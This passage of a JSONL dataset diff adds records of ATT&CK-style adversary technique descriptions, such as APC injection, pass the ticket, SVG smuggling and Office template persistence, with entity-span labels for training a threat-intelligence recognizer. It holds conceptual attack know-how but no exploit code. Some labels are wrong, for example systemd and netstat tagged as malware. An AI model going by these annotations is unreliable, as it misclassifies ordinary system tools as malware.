[[139, 146], [343, 350], [1728, 1735]], "ORGANIZATION: Microsoft": [[1930, 1939]], "VULNERABILITY: code execution": [[232, 246], [1321, 1335]]}, "info": {"source": "apt_reports", "name": "Component Object Model and Distributed COM"}}
+{"text": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.", "spans": {}, "info": {"source": "apt_reports", "name": "Automated Exfiltration"}}
+{"text": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).", "spans": {}, "info": {"source": "apt_reports", "name": "Client Configurations"}}
+{"text": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in Disable or Modify System Firewall. \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance. They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for Brute Force or Endpoint Denial of Service.", "spans": {}, "info": {"source": "apt_reports", "name": "Disable or Modify Cloud Firewall"}}
+{"text": "Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network.\n\nIDE tunneling tools may be built-in or installed as IDE Extensions.", "spans": {"TOOL: SSH": [[220, 223], [375, 378], [499, 502]], "SYSTEM: GitHub": [[832, 838]]}, "info": {"source": "apt_reports", "name": "IDE Tunneling"}}
+{"text": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity. RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", "spans": {"SYSTEM: Windows": [[267, 274], [963, 970]]}, "info": {"source": "apt_reports", "name": "Right-to-Left Override"}}
+{"text": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", "spans": {}, "info": {"source": "apt_reports", "name": "Malware"}}
+{"text": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files. SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `<script>` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files. \n\nSVG smuggling can take a number of forms. For example, threat actors may include content that: \n\n* Assembles malicious payloads\n* Downloads malicious payloads\n* Redirects users to malicious websites\n* Displays interactive content to users, such as fake login forms and download buttons.\n\nSVG Smuggling may be used in conjunction with HTML Smuggling where an SVG with a malicious payload is included inside an HTML file. SVGs may also be included in other types of documents, such as PDFs.", "spans": {}, "info": {"source": "apt_reports", "name": "SVG Smuggling"}}
+{"text": "Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components/devices that may not have the same capability or level of integrity checking.\n\nMalicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "spans": {"SYSTEM: BIOS": [[271, 275]]}, "info": {"source": "apt_reports", "name": "Component Firmware"}}
+{"text": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "spans": {}, "info": {"source": "apt_reports", "name": "Indicator Removal"}}
+{"text": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol"}}
+{"text": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. \n\nOffice Visual Basic for Applications (VBA) macros  can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. Shared templates may also be stored and pulled from remote locations. \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location. \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", "spans": {"FILEPATH: C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm": [[882, 955]], "FILEPATH: C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB": [[1004, 1083]], "FILEPATH: C:\\Program": [[1280, 1290]], "SYSTEM: Microsoft Office": [[22, 38], [96, 112], [1303, 1319]], "ORGANIZATION: Microsoft": [[22, 31], [96, 105], [924, 933], [1046, 1055], [1303, 1312]]}, "info": {"source": "apt_reports", "name": "Office Template Macros"}}
+{"text": "Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.", "spans": {}, "info": {"source": "apt_reports", "name": "Virtual Private Server"}}
+{"text": "Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources", "spans": {"SYSTEM: Confluence": [[25, 35], [145, 155]]}, "info": {"source": "apt_reports", "name": "Confluence"}}
+{"text": "Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.\n\nA Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).\n\nA Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.", "spans": {"SYSTEM: Kerberos": [[47, 55], [216, 224], [281, 289], [403, 411], [852, 860], [1243, 1251], [1505, 1513]], "SYSTEM: NTLM": [[1125, 1129], [1386, 1390]], "SYSTEM: SharePoint": [[1006, 1016]], "SYSTEM: Active Directory": [[1188, 1204]]}, "info": {"source": "apt_reports", "name": "Pass the Ticket"}}
+{"text": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container. In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.", "spans": {"SYSTEM: Kubernetes": [[163, 173], [490, 500], [632, 642]], "SYSTEM: Docker": [[144, 150], [270, 276]]}, "info": {"source": "apt_reports", "name": "Container Administration Command"}}
+{"text": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>. Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).\n\nSome files and directories may require elevated or specific user permissions to access.", "spans": {}, "info": {"source": "apt_reports", "name": "File and Directory Discovery"}}
+{"text": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.", "spans": {}, "info": {"source": "apt_reports", "name": "Dynamic Resolution"}}
+{"text": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description. Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.", "spans": {"SYSTEM: Windows": [[216, 223]], "MALWARE: systemd": [[157, 164]]}, "info": {"source": "apt_reports", "name": "Masquerade Task or Service"}}
+{"text": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue  of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.  AtomBombing  is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[537, 544]]}, "info": {"source": "apt_reports", "name": "Asynchronous Procedure Call"}}
+{"text": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. \n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through ROMMONkit or Patch System Image.\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.\n\nAdversaries may use traffic duplication in conjunction with Network Sniffing, Input Capture, or Adversary-in-the-Middle depending on the goals and objectives of the adversary.", "spans": {"SYSTEM: GCP": [[713, 716]], "SYSTEM: AWS": [[690, 693]], "SYSTEM: Azure": [[739, 744]]}, "info": {"source": "apt_reports", "name": "Traffic Duplication"}}
+{"text": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.  Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", "spans": {"FILEPATH: %WINDIR%\\AppPatch\\sysmain.sdb</code>": [[894, 930]], "FILEPATH: %WINDIR%\\AppPatch\\custom": [[1066, 1090]], "FILEPATH: %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>": [[1093, 1135]], "SYSTEM: Windows 10": [[383, 393]], "SYSTEM: Windows Defender": [[1820, 1836]], "SYSTEM: Windows": [[14, 21], [346, 353], [383, 390], [532, 539], [841, 848], [1246, 1253], [1820, 1827]], "SYSTEM: Windows XP": [[346, 356]], "ORGANIZATION: Microsoft": [[4, 13]]}, "info": {"source": "apt_reports", "name": "Application Shimming"}}
+{"text": "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format. \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. Hidden Window) or running additional commands for persistence (ex: Launch Agent/Launch Daemon or Re-opened Applications).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application’s <code>info.plist</code> file  to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via Dynamic Linker Hijacking.", "spans": {"SYSTEM: macOS": [[155, 160]], "ORGANIZATION: Apple": [[436, 441]]}, "info": {"source": "apt_reports", "name": "Plist File Modification"}}
+{"text": "Adversaries may use `JamPlus` to proxy the execution of a malicious script. `JamPlus` is a build utility tool for code and data build systems. It works with several popular compilers and can be used for generating workspaces in code editors such as Visual Studio.\n\nAdversaries may abuse the `JamPlus` build utility to execute malicious scripts via a `.jam` file, which describes the build process and required dependencies. Because the malicious script is executed from a reputable developer tool, it may subvert application control security systems such as Smart App Control.", "spans": {}, "info": {"source": "apt_reports", "name": "JamPlus"}}
+{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. \n\nSimilar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.", "spans": {}, "info": {"source": "apt_reports", "name": "AppCert DLLs"}}
+{"text": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.  CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands.  Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs   and/or COM scriptlets (SCT) from remote servers.    This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.", "spans": {"TOOL: CMSTP": [[52, 57], [143, 148], [311, 316], [407, 412], [589, 594], [647, 652]], "ORGANIZATION: Microsoft": [[4, 13], [623, 632]]}, "info": {"source": "apt_reports", "name": "CMSTP"}}
+{"text": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", "spans": {}, "info": {"source": "apt_reports", "name": "Multi-hop Proxy"}}
+{"text": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations. Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators. Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions. Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives.", "spans": {"SYSTEM: Microsoft Exchange": [[1563, 1581]], "SYSTEM: Outlook": [[1349, 1356]], "ORGANIZATION: Microsoft": [[1249, 1258], [1563, 1572]]}, "info": {"source": "apt_reports", "name": "Email Forwarding Rule"}}
+{"text": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.", "spans": {"TOOL: cmd": [[279, 282]]}, "info": {"source": "apt_reports", "name": "Data Staged"}}
+{"text": "Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.\n\nAbusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.", "spans": {"SYSTEM: Entra ID": [[254, 262]], "SYSTEM: NTLM": [[2244, 2248]], "SYSTEM: Windows": [[654, 661]], "SYSTEM: Active Directory": [[287, 303]]}, "info": {"source": "apt_reports", "name": "Steal or Forge Authentication Certificates"}}
+{"text": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network. In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. \n\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.\n\nDevices registered in Entra ID may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client. Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Entra ID tenant by registering a large number of devices.", "spans": {"SYSTEM: Entra ID": [[829, 837], [1008, 1016], [1260, 1268]], "ORGANIZATION: Duo": [[287, 290]], "ORGANIZATION: Microsoft": [[875, 884]], "ORGANIZATION: Okta": [[294, 298]]}, "info": {"source": "apt_reports", "name": "Device Registration"}}
+{"text": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate. Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net. In Mac and Linux, netstat and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and Network Device CLI may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>). On ESXi servers, the command `esxi network ip connection list` can be used to list active network connections.", "spans": {"SYSTEM: ESXi": [[1358, 1362]], "SYSTEM: Linux": [[996, 1001]], "MALWARE: netstat": [[937, 944], [1003, 1010]]}, "info": {"source": "apt_reports", "name": "System Network Connections Discovery"}}
+{"text": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks.\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.", "spans": {}, "info": {"source": "apt_reports", "name": "Compromise Infrastructure"}}
+{"text": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW. Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.", "spans": {"SYSTEM: Windows Defender": [[525, 541]], "SYSTEM: Windows": [[91, 98], [525, 532]]}, "info": {"source": "apt_reports", "name": "Mark-of-the-Web Bypass"}}
+{"text": "Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of Modify System Image, forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., Reduce Key Space).", "spans": {}, "info": {"source": "apt_reports", "name": "Disable Crypto Hardware"}}
